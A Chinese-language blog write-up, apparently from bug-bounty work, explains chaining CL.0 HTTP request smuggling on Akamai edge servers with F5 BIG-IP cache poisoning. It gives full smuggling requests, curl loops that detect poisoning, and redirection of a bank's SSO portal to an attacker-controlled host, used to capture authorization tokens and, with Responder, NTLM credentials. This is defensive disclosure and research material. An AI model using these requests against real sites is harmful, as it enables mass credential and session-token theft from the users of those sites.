Guge's Blog
Published on

"独家揭秘：请求走私高级利用，利用组合链获取用户内部敏感数据！"

Authors
  • avatar
    Name
    骨哥
    Twitter

概述

本文将向读者展示如何利用请求走私漏洞使漏洞最大化，从而窃取用户内部数据，包括授权与会话令牌等信息。

预备知识

读者最好对请求走私和缓存中毒漏洞的工作方式有适当了解，建议阅读前做个预备知识热身。

工具基本使用 Burp-Suite Professional 和相应扩展插件就足够。

然后会使用 CL.0 小工具中的 nameprefix1 扫描目标，如下图所示：

通过使用 namprefix1 小工具扫描目标，你将更好地了解本文中发生的情况。

漏洞发现

几个月前，在一次漏洞挖掘中，在毫无进展的情况下打开了 HTTP Smuggler 扫描，因为该插件最近的一次更新中包含了 @albinowax 的”畸形内容长度“小功能，没想到的是，在 25 个子域中，居然有 3 次命中。

下图是 BurpSuite 发现的三次命中之一：

上图中最明显的标识符是使用的请求走私小功能和变种， nameprefix1 是请求走私功能，TRACE 是用于验证该功能的技术，然后有 3 个不同的请求和 2 个响应。请求 1 是对相关域的正常 GET 请求，请求 2 和 3 是包含了使用“畸形内容长度”功能修改后的请求。

仔细看看三次请求：

GET / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Connection: close
Cache-Control: max-age=0

请求 1 始终是对相关端点的正常 GET 请求，这样做的原因是因为正常的请求会获得服务器的正常响应，通过在其后面发起另外两次“畸形内容”请求，有可能影响后端服务器和请求 1 的正常 GET，如果发生这种情况，则有可能存在请求走私漏洞。

请求 2 和 3 相同，nameprefix1 使用 TRACE 请求 ，内容如下所示：

POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 27

TRACE / HTTP/1.1
Smuggle:

如上所见，与请求 1 相比有了一些变化：

  • GET 变为 POST
  • Connection 标头更改为了 “keep-alive”
  • 添加了 Foo 标头
  • 带有空格前缀的 Content-Length
  • 内容正文中带有 TRACE 的新请求

来看看服务器响应，会发现它们是不同的：

HTTP/1.1 200 OK
Date: Wed, 25 Oct 2023 01:10:38 GMT
Server: Apache
Last-Modified: Wed, 29 Jun 2016 13:40:37 GMT
Accept-Ranges: bytes
Content-Length: 51
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html

It works!

响应 2 看起来像是一个正常的响应，但是响应 3，却不一样了！

HTTP/1.1 405 Method Not Allowed
Date: Wed, 25 Oct 2023 01:10:38 GMT
Server: Apache
Allow: 
Content-Length: 222
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

405 Method Not Allowed

The requested method TRACE is not allowed for this URL.

有趣吧？证明请求 2 和 3 中走私的 TRACE 请求被后端处理为了有效请求。

这意味着什么？目前看来似乎没有什么影响，继续往下看。

接下来是把这 3 个请求发送到Repeater：

在继续之前记得配置一下 Repeater 的选项，如下图所示：

将“Update Content-Length” 和 “Normalize HTTP/1 line endings” 取消选择，这是因为一些小工具会滥用换行符、回车符和畸形内容长度。

然后是将这 3 个请求合并到一个选项卡组中，可以通过单击选项卡旁边的小加号图标并选择“Create tab group”来完成该操作，然后选择 3 个选项卡，选择一种颜色后按“Create”按钮即可：

现在当我们按下发送按钮时就会连续发送三个选项卡的请求，来看看修改后的 POST 请求（Repeater 中的请求 2 和 3），既然知道 TRACE 和 Web 根路径会抛出 405 错误，那么如果使用 GET 来请求 /robots.txt 这样的端点，会发生什么？

POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 35

GET /robots.txt HTTP/1.1
Smuggle:

回到选项卡 1，这是正常的 GET 请求，然后单击发送组 1 次， 查看响应：

如上图所示，1 次尝试后的结果除了该端点 302 响应之外没有为我们提供任何其它内容，但是，如果在几秒钟内连续发送 5 到 10 次，会怎样呢？

Nice！经过 6 次尝试，请求走私成功！这意味着当用户尝试访问 https://redacted.tld/ 时，他们将被重定向到 https://redacted.tld/robots.txt，并且无需做任何其它操作。

这么看来，只要允许修改请求动作和路径，就可以“毒害”该目标的任意端点。

如果能够将请求走私与 XSS 或其他可以将其链接到的漏洞组合起来，就可以打一套‘组合拳’。

虽然这个请求走私只会影响本地会话或 IP，但是我们来看下面一个案例。

案例

首先在云虚拟机上运行了如下命令：

上面的命令会循环并向 https://redacted.tld/ 发出请求，然后打印响应状态码，如果请求走私在全球范围内不起作用，那么收到的状态代码就应该是 302。如果状态代码为 200，则意味着请求走私不仅会影响本地会话，还会影响互联网范围内的缓存。

┌──(user㉿hostname)-[~]
└─$ for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{http_code}" https://redacted.tld/; sleep 2; echo "";  done 
302
302
302
302
200 ---- poisoned!
200 ---- poisoned!
302

居然有效？！但令人困惑的是，不知道为什么对有些目标有效，对其他目标无效。重新检查每个请求的标头，发现有75%的正向请求走私中有大量请求和响应都存在 Akamai 服务器的痕迹。

知道了问题根源后，接下来所要做的就是枚举 Akamai Edge 实例以获取更多信息。

利用 Akamai

通过从 Akamai Edge ASN 中提取每个 IP，对它们进行了全部排序，然后对每个 IP 地址运行 TLSX 扫描，之所以这样做的原因是因为 akamaiedge.net 实例会在 TLS 证书中包含实际的公司域。

从主机命令可以看出，目标域 redacted.tld 托管在 Akamai Edge 服务上：

┌──(user㉿hostname)-[~]
└─$ host redacted.tld
redacted.tld is an alias for redacted.tld.edgekey.net.
redacted.tld.edgekey.net is an alias for xxxx.a.akamaiedge.net.
xxxx.a.akamaiedge.net has address 12.34.56.78

如果没有主机名，则需要使用 projectdiscovery 中的 TLSX 等工具从 IP 的 HTTPS 层提取证书名称，如下所示：：

┌──(user㉿hostname)-[~]
└─$ echo "12.34.56.78" | tlsx -cn -san     
  
12.34.56.78:443 [redacted.tld]
12.34.56.78:443 [prod.redacted.tld]
12.34.56.78:443 [cust.redacted.tld]
12.34.56.78:443 [demo.redacted.tld]
[INF] Connections made using crypto/tls: 1, zcrypto/tls: 0, openssl: 0

通过提取、排序等一系列工作后，最终留下 1000 个左右的域名，将它们放入 BurpSuite，并开始对 HTTP Smuggle 工具中提供的不同“畸形内容”长度请求走私进行扫描，大约 24 小时后...

该案例发现了一种滥用 Akamai Edge 客户的方法，通过Burpsuite的Issue统计，大约有 200 多个目标可供利用。

梳理目前收获：

  • 至少有1种小工具会影响Akamai Edge 客户
  • 小工具在很多情况下都会影响全局缓存
  • 对小工具的走私内容主体进行了一些新尝试

那么接下来就需要找到一种方法来升级走私小工具以增加影响，继续做尝试：

POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 35

GET /robots.txt HTTP/1.1
Smuggle:

来看看如果尝试使用走私请求进行主机头注入会发生什么，是否可以通过主机头注入来绕过前端及其保护，并直接在后端进行处理呢？如下所示：

POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 42

GET http://example.com HTTP/1.1
Smuggle:

通过替换 /robots.txt 端点，对于使用直接地址作为路径的主机头注入Payloads，为了绕过前端保护并让后端直接响应，别忘记更新Content-Length。

似乎行不通，在尝试了所有不同类型的主机标头注入后，每种类型收到的都是 400 错误，更糟糕的是测试的 5 个域中只有 2 个允许全局缓存中毒，其他域都不允许。

经过一番重新梳理后，最终找到了大约 500 个左右属于漏洞赏金范围的域名，这些域容易受到本地和全局缓存中毒的影响。

从这500个域名列表中。提取每个成功请求走私的响应标头，响应内容中几乎 85% 的标头都存在 F5 BIGIP 特征信息。

这就意味，使用 F5 BIGIP 的 Akamai 客户都存在全局缓存中毒问题，继续深入！

狙击 F5

现在可以知道 Akamai 允许一些奇怪的请求走私行为，而且还知道如果请求是从 Akamai 边缘传递，F5 的 BIGIP 也容易受到缓存中毒漏洞的影响，那么是时候挖掘一些漏洞影响力了。

首先提取了一些属于易受攻击的主要银行和金融公司的目标域，开始研究。

比如发送给某目标银行修改后的请求：

POST / HTTP/1.1
Host: redacted.bank.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 42

GET http://example.com HTTP/1.1
Smuggle:

使用与之前相同的尝试，收到了 400 错误，但在新域上，发送 1 次后，从服务器收到以下响应：

但是，快速连续发送 5 到 10 次请求后，立即查看结果：

在连续多次请求之后，主机标头注入导致了本地会话中毒！为了验证这是否也会影响全局缓存，可以使用以下命令查看：

for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{url_effective} --redirects-to--> %{redirect_url}" https://redacted.bank.tld/; sleep 2; echo ""; done

┌──(user㉿hostname)-[~]
└─$ for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{url_effective} --redirects-to--> %{redirect_url}" https://redacted.bank.tld/; sleep 2; echo "";  done
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld/login
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld/login
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld/login
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld^C

发现可以将该银行 SSO 门户全局重定向至指定域，在本例中使用 example.com 作为PoC。

很显然这是从 Akamai 边缘服务器代理到 F5 的缓存策略造成的……这是一个非常严重的错误。

上帝模式

现在有一个攻击链，即利用 Akamai 边缘向 F5 BIGIP 发送畸形错误请求，F5 BIGIP 将其缓存在服务器，那么是时候进行彻底的漏洞搜寻了，先将所有拥有 漏洞赏金范围的目标拉写入列表，然后尝试将登录门户重定向到自定义 Burp Collaborator 实例。

查看 Collaborator 收到的信息：

如上图所示，该目标银行正在泄漏授权令牌，通过将 Akamai 上的请求走私漏洞与 F5 BIGIP 上的缓存中毒问题链接起来，我们便可以窃取包括授权标头在内的流量，而无需在银行网络本身上发现漏洞。这就是所谓的上帝模式Pwnage！

NTLM

而在渗透另外几个目标时，其中一家大型金融公司的流量如下：

居然收到了 POST 请求！ 这就更加有趣了！

你可能对 Microsoft 的技术不是很了解，但通过下面的请求不难推测出其中的含义：

Accept-Auth: badger,Wlid1.1,Bearer,Basic,NTLM,Digest,Kerberos,Negotiate,Nego2

这是一个 POST 请求，并且它接受 NTLM 作为可接受的身份验证协议，这不禁让我们立即想到了 Responder。

在Windows环境中，有一个名为Responder的工具，它是一个用于执行LLMNR（Link-Local Multicast Name Resolution）和NBT-NS（NetBIOS Name Service）中间人攻击的实用程序。这种攻击形式旨在欺骗网络上的计算机，导致它们将其流量发送到攻击者的计算机，以便进行进一步的渗透或窃取凭据。

快速设置另一个云虚拟机，使用 nip.io 创建一个临时主机名，用作请求走私主机名注入值，然后等待其响应。

收到流量，但没有发送 NTLM 凭据，然后通过 Responder 中得到了如下回复：

成功窃取到 NTLM 凭据！

你学到了么？希望你能有所收获！感谢阅读，希望你能有所收获～

Discuss on Twitter • View on GitHub